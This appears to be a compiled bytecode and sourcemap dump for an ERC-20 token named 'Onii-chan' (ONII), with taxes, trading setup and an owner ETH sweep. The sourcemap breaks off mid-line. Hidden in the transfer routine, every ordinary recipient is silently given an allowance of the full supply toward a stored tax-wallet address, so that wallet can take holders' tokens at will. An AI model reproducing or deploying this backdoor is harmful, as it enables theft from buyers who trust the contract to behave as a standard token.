0x6080604052600436106100f2575f3560e01c806370a08231116100895780638da5cb5b116100585780638da5cb5b146102d857806395d89b4114610302578063a9059cbb1461032c578063dd62ed3e14610368576100f2565b806370a0823114610236578063715018a61461027257806377c325d6146102885780637ff6f7b9146102b0576100f2565b806323b872dd116100c557806323b872dd1461019c578063293230b8146101d8578063313ce567146101e257806349bd5a5e1461020c576100f2565b806306fdde03146100f6578063095ea7b3146101205780630f144a481461015c57806318160ddd14610172575b5f80fd5b348015610101575f80fd5b5061010a6103a4565b6040516101179190611860565b60405180910390f35b34801561012b575f80fd5b5061014660048036038101906101419190611911565b6103e1565b6040516101539190611969565b60405180910390f35b348015610167575f80fd5b506101706103f7565b005b34801561017d575f80fd5b506101866104d3565b6040516101939190611991565b60405180910390f35b3480156101a7575f80fd5b506101c260048036038101906101bd91906119aa565b6104dc565b6040516101cf9190611969565b60405180910390f35b6101e0610588565b005b3480156101ed575f80fd5b506101f66109ce565b6040516102039190611a15565b60405180910390f35b348015610217575f80fd5b506102206109e3565b60405161022d9190611a3d565b60405180910390f35b348015610241575f80fd5b5061025c60048036038101906102579190611a56565b610a08565b6040516102699190611991565b60405180910390f35b34801561027d575f80fd5b50610286610a4e565b005b348015610293575f80fd5b506102ae60048036038101906102a99190611aab565b610b7d565b005b3480156102bb575f80fd5b506102d660048036038101906102d19190611aab565b610c5e565b005b3480156102e3575f80fd5b506102ec610cf0565b6040516102f99190611a3d565b60405180910390f35b34801561030d575f80fd5b50610316610d17565b6040516103239190611860565b60405180910390f35b348015610337575f80fd5b50610352600480360381019061034d9190611911565b610d54565b60405161035f9190611969565b60405180910390f35b348015610373575f80fd5b5061038e60048036038101906103899190611ad6565b610d6a565b60405161039b9190611991565b60405180910390f35b60606040518060400160405280600981526020017f4f6e69692d6368616e0000000000000000000000000000000000000000000000815250905090565b5f6103ed338484610dec565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610416610cf0565b73ffffffffffffffffffffffffffffffffffffffff161461046c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161046390611b5e565b60405180910390fd5b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156104d0573d5f803e3d5ffd5b50565b5f600154905090565b5f6104e8848484610faf565b61057d84336105788560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461154a90919063ffffffff16565b610dec565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff166105a7610cf0565b73ffffffffffffffffffffffffffffffffffffffff16146105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f490611b5e565b60405180910390fd5b60075f9054906101000a900460ff1615610615575f80fd5b6106433060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610dec565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ae573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d29190611b90565b905060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561073e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107629190611b90565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b815260040161079c929190611bbb565b6020604051808303815f875af11580156107b8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107dc9190611b90565b60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061086330610a08565b5f8061086d610cf0565b426040518863ffffffff1660e01b815260040161088f96959493929190611c24565b60606040518083038185885af11580156108ab573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108d09190611c97565b50505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610970929190611ce7565b6020604051808303815f875af115801561098c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b09190611d22565b50600160075f6101000a81548160ff02191690831515021790555050565b5f8060149054906101000a900460ff16905090565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610a6d610cf0565b73ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90611b5e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16610b9c610cf0565b73ffffffffffffffffffffffffffffffffffffffff1614610bf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be990611b5e565b60405180910390fd5b600760019054906101000a900460ff16610c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3890611d97565b60405180910390fd5b80600760016101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16610c7d610cf0565b73ffffffffffffffffffffffffffffffffffffffff1614610cd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cca90611b5e565b60405180910390fd5b80600760026101000a81548160ff02191690831515021790555050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4f4e494900000000000000000000000000000000000000000000000000000000815250905090565b5f610d60338484610faf565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5190611e25565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf90611eb3565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fa29190611991565b60405180910390a3505050565b5f8111610ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe890611f41565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361105f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105690611fa9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c490612011565b60405180910390fd5b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611177575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156111af57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156111be576111bd82611593565b5b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561124757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156112a257611288606461127a600954600f541161126757600e5461126b565b600b545b8561164790919063ffffffff16565b61168790919063ffffffff16565b9050600f5f81548092919061129c9061205c565b91905055505b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561134b575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611362575060075f9054906101000a900460ff165b156113bd576113a36064611395600854600c541161138257601054611386565b600a545b8561164790919063ffffffff16565b61168790919063ffffffff16565b9050600c5f8154809291906113b79061205c565b91905055505b61140d8260065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461154a90919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061149e8260065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116d090919063ffffffff16565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161153c9190611991565b60405180910390a350505050565b5f61158b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061172d565b905092915050565b60015460025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461163d91906120a3565b9250508190555050565b5f808303611657575f9050611681565b5f828461166491906120d6565b90508284826116739190612144565b1461167c575f80fd5b809150505b92915050565b5f6116c883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061178f565b905092915050565b5f8082846116de91906120a3565b905083811015611723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171a906121be565b60405180910390fd5b8091505092915050565b5f838311158290611774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176b9190611860565b60405180910390fd5b505f838561178291906121dc565b9050809150509392505050565b5f80831182906117d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cc9190611860565b60405180910390fd5b505f83856117e39190612144565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611832826117f0565b61183c81856117fa565b935061184c81856020860161180a565b61185581611818565b840191505092915050565b5f6020820190508181035f8301526118788184611828565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6118ad82611884565b9050919050565b6118bd816118a3565b81146118c7575f80fd5b50565b5f813590506118d8816118b4565b92915050565b5f819050919050565b6118f0816118de565b81146118fa575f80fd5b50565b5f8135905061190b816118e7565b92915050565b5f806040838503121561192757611926611880565b5b5f611934858286016118ca565b9250506020611945858286016118fd565b9150509250929050565b5f8115159050919050565b6119638161194f565b82525050565b5f60208201905061197c5f83018461195a565b92915050565b61198b816118de565b82525050565b5f6020820190506119a45f830184611982565b92915050565b5f805f606084860312156119c1576119c0611880565b5b5f6119ce868287016118ca565b93505060206119df868287016118ca565b92505060406119f0868287016118fd565b9150509250925092565b5f60ff82169050919050565b611a0f816119fa565b82525050565b5f602082019050611a285f830184611a06565b92915050565b611a37816118a3565b82525050565b5f602082019050611a505f830184611a2e565b92915050565b5f60208284031215611a6b57611a6a611880565b5b5f611a78848285016118ca565b91505092915050565b611a8a8161194f565b8114611a94575f80fd5b50565b5f81359050611aa581611a81565b92915050565b5f60208284031215611ac057611abf611880565b5b5f611acd84828501611a97565b91505092915050565b5f8060408385031215611aec57611aeb611880565b5b5f611af9858286016118ca565b9250506020611b0a858286016118ca565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611b486020836117fa565b9150611b5382611b14565b602082019050919050565b5f6020820190508181035f830152611b7581611b3c565b9050919050565b5f81519050611b8a816118b4565b92915050565b5f60208284031215611ba557611ba4611880565b5b5f611bb284828501611b7c565b91505092915050565b5f604082019050611bce5f830185611a2e565b611bdb6020830184611a2e565b9392505050565b5f819050919050565b5f819050919050565b5f611c0e611c09611c0484611be2565b611beb565b6118de565b9050919050565b611c1e81611bf4565b82525050565b5f60c082019050611c375f830189611a2e565b611c446020830188611982565b611c516040830187611c15565b611c5e6060830186611c15565b611c6b6080830185611a2e565b611c7860a0830184611982565b979650505050505050565b5f81519050611c91816118e7565b92915050565b5f805f60608486031215611cae57611cad611880565b5b5f611cbb86828701611c83565b9350506020611ccc86828701611c83565b9250506040611cdd86828701611c83565b9150509250925092565b5f604082019050611cfa5f830185611a2e565b611d076020830184611982565b9392505050565b5f81519050611d1c81611a81565b92915050565b5f60208284031215611d3757611d36611880565b5b5f611d4484828501611d0e565b91505092915050565b7f416c72656164792064697361626c6564210000000000000000000000000000005f82015250565b5f611d816011836117fa565b9150611d8c82611d4d565b602082019050919050565b5f6020820190508181035f830152611dae81611d75565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611e0f6024836117fa565b9150611e1a82611db5565b604082019050919050565b5f6020820190508181035f830152611e3c81611e03565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611e9d6022836117fa565b9150611ea882611e43565b604082019050919050565b5f6020820190508181035f830152611eca81611e91565b9050919050565b7f7472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2100000000000000000000000000000000000000000000602082015250565b5f611f2b602a836117fa565b9150611f3682611ed1565b604082019050919050565b5f6020820190508181035f830152611f5881611f1f565b9050919050565b7f4552433a207472616e7366657220746f207a65726f20616464726573732100005f82015250565b5f611f93601e836117fa565b9150611f9e82611f5f565b602082019050919050565b5f6020820190508181035f830152611fc081611f87565b9050919050565b7f7472616e736665722066726f6d207a65726f20616464726573732100000000005f82015250565b5f611ffb601b836117fa565b915061200682611fc7565b602082019050919050565b5f6020820190508181035f83015261202881611fef565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612066826118de565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036120985761209761202f565b5b600182019050919050565b5f6120ad826118de565b91506120b8836118de565b92508282019050808211156120d0576120cf61202f565b5b92915050565b5f6120e0826118de565b91506120eb836118de565b92508282026120f9816118de565b915082820484148315176121105761210f61202f565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61214e826118de565b9150612159836118de565b92508261216957612168612117565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6121a8601b836117fa565b91506121b382612174565b602082019050919050565b5f6020820190508181035f8301526121d58161219c565b9050919050565b5f6121e6826118de565b91506121f1836118de565b92508282039050818111156122095761220861202f565b5b9291505056fea2646970667358221220f45613e24431afc96f9dabeb0f352c6ed5006a005959f1611e0a74c56dc0c53b64736f6c634300081a0033

Deployed Bytecode Sourcemap

2560:5427:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4337:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5316:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6775:110;;;;;;;;;;;;;:::i;:::-;;4546:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5474:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6980:561;;;:::i;:::-;;4740:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2811:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4428:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;240:140;;;;;;;;;;;;;:::i;:::-;;7817:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6893:79;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;87:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4645;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7653:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4831:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4337:83;4374:13;4407:5;;;;;;;;;;;;;;;;;4400:12;;4337:83;:::o;5316:150::-;5382:4;5399:37;5408:10;5420:7;5429:6;5399:8;:37::i;:::-;5454:4;5447:11;;5316:150;;;;:::o;6775:110::-;527:10;516:21;;:7;:5;:7::i;:::-;:21;;;508:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;6835:9:::1;;;;;;;;;;;6827:27;;:50;6855:21;6827:50;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;6775:110::o:0;4546:91::-;4590:7;4617:12;;4610:19;;4546:91;:::o;5474:256::-;5563:4;5580:36;5590:6;5598:9;5609:6;5580:9;:36::i;:::-;5627:73;5636:6;5644:10;5656:43;5692:6;5656:11;:19;5668:6;5656:19;;;;;;;;;;;;;;;:31;5676:10;5656:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;5627:8;:73::i;:::-;5718:4;5711:11;;5474:256;;;;;:::o;6980:561::-;527:10;516:21;;:7;:5;:7::i;:::-;:21;;;508:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;7051:11:::1;;;;;;;;;;;7050:12;7042:21;;;::::0;::::1;;7073:63;7090:4;7105:15;;;;;;;;;;;7123:12;;7073:8;:63::i;:::-;7147:12;7162:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7147:37;;7229:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7211:56;;;7276:4;7283;7211:77;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7195:13;;:93;;;;;;;;;;;;;;;;;;7299:15;;;;;;;;;;;:31;;;7338:9;7358:4;7365:24;7383:4;7365:9;:24::i;:::-;7391:1;7394::::0;7397:7:::1;:5;:7::i;:::-;7406:15;7299:123;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;7440:13;;;;;;;;;;;7433:29;;;7471:15;;;;;;;;;;;7489:14;7433:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7529:4;7515:11;;:18;;;;;;;;;;;;;;;;;;7031:510;6980:561::o:0;4740:83::-;4781:5;4806:9;;;;;;;;;;;4799:16;;4740:83;:::o;2811:28::-;;;;;;;;;;;;;:::o;4428:110::-;4485:7;4512:9;:18;4522:7;4512:18;;;;;;;;;;;;;;;;4505:25;;4428:110;;;:::o;240:140::-;527:10;516:21;;:7;:5;:7::i;:::-;:21;;;508:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;339:1:::1;302:40;;323:6;::::0;::::1;;;;;;;;302:40;;;;;;;;;;;;370:1;353:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;240:140::o:0;7817:167::-;527:10;516:21;;:7;:5;:7::i;:::-;:21;;;508:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;7894:20:::1;;;;;;;;;;;7886:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;7970:6;7947:20;;:29;;;;;;;;;;;;;;;;;;7817:167:::0;:::o;6893:79::-;527:10;516:21;;:7;:5;:7::i;:::-;:21;;;508:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;6959:5:::1;6952:4;;:12;;;;;;;;;;;;;;;;;;6893:79:::0;:::o;87:87::-;133:7;160:6;;;;;;;;;;;153:13;;87:87;:::o;4645:::-;4684:13;4717:7;;;;;;;;;;;;;;;;;4710:14;;4645:87;:::o;7653:156::-;7722:4;7739:40;7749:10;7761:9;7772:6;7739:9;:40::i;:::-;7797:4;7790:11;;7653:156;;;;:::o;4831:134::-;4903:7;4930:11;:18;4942:5;4930:18;;;;;;;;;;;;;;;:27;4949:7;4930:27;;;;;;;;;;;;;;;;4923:34;;4831:134;;;;:::o;4973:335::-;5083:1;5066:19;;:5;:19;;;5058:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5164:1;5145:21;;:7;:21;;;5137:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5246:6;5216:11;:18;5228:5;5216:18;;;;;;;;;;;;;;;:27;5235:7;5216:27;;;;;;;;;;;;;;;:36;;;;5284:7;5268:32;;5277:5;5268:32;;;5293:6;5268:32;;;;;;:::i;:::-;;;;;;;;4973:335;;;:::o;5738:1029::-;5835:1;5826:6;:10;5818:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;5916:1;5902:16;;:2;:16;;;5894:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;5988:1;5972:18;;:4;:18;;;5964:58;;;;;;;;;;;;:::i;:::-;;;;;;;;;6051:15;;;;;;;;;;;6037:30;;:2;:30;;;;:53;;;;;6077:13;;;;;;;;;;;6071:19;;:2;:19;;;;6037:53;:76;;;;;6108:4;6094:19;;:2;:19;;;;6037:76;6033:116;;;6129:8;6134:2;6129:4;:8::i;:::-;6033:116;6159:17;6198:13;;;;;;;;;;;6192:19;;:2;:19;;;:43;;;;;6230:4;6215:20;;:4;:20;;;;6192:43;6189:194;;;6264:80;6340:3;6264:71;6287:16;;6276:10;;:27;6275:59;;6319:15;;6275:59;;;6305:13;;6275:59;6264:6;:10;;:71;;;;:::i;:::-;:75;;:80;;;;:::i;:::-;6252:92;;6359:10;;:12;;;;;;;;;:::i;:::-;;;;;;6189:194;6405:13;;;;;;;;;;;6397:21;;:4;:21;;;:55;;;;;6436:15;;;;;;;;;;;6422:30;;:2;:30;;;;6397:55;:70;;;;;6456:11;;;;;;;;;;;6397:70;6393:217;;;6496:76;6568:3;6496:67;6518:15;;6508:9;;:25;6507:55;;6548:14;;6507:55;;;6535:12;;6507:55;6496:6;:10;;:67;;;;:::i;:::-;:71;;:76;;;;:::i;:::-;6484:88;;6587:9;;:11;;;;;;;;;:::i;:::-;;;;;;6393:217;6638:27;6658:6;6638:9;:15;6648:4;6638:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;6620:9;:15;6630:4;6620:15;;;;;;;;;;;;;;;:45;;;;6692:25;6710:6;6692:9;:13;6702:2;6692:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;6676:9;:13;6686:2;6676:13;;;;;;;;;;;;;;;:41;;;;6748:2;6733:26;;6742:4;6733:26;;;6752:6;6733:26;;;;;;:::i;:::-;;;;;;;;5807:960;5738:1029;;;:::o;652:136::-;710:7;737:43;741:1;744;737:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;730:50;;652:136;;;;:::o;7549:96::-;7625:12;;7595:11;:15;7607:2;7595:15;;;;;;;;;;;;;;;:26;7611:9;;;;;;;;;;;7595:26;;;;;;;;;;;;;;;;:42;;;;;;;:::i;:::-;;;;;;;;7549:96;:::o;1185:209::-;1243:7;1272:1;1267;:6;1263:47;;1297:1;1290:8;;;;1263:47;1320:9;1336:1;1332;:5;;;;:::i;:::-;1320:17;;1365:1;1360;1356;:5;;;;:::i;:::-;:10;1348:19;;;;;;1385:1;1378:8;;;1185:209;;;;;:::o;1400:132::-;1458:7;1485:39;1489:1;1492;1485:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1478:46;;1400:132;;;;:::o;1538:179::-;1596:7;1616:9;1632:1;1628;:5;;;;:::i;:::-;1616:17;;1657:1;1652;:6;;1644:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1708:1;1701:8;;;1538:179;;;;:::o;794:190::-;880:7;913:1;908;:6;;916:12;900:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;940:9;956:1;952;:5;;;;:::i;:::-;940:17;;975:1;968:8;;;794:190;;;;;:::o;990:189::-;1076:7;1108:1;1104;:5;1111:12;1096:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1135:9;1151:1;1147;:5;;;;:::i;:::-;1135:17;;1170:1;1163:8;;;990:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1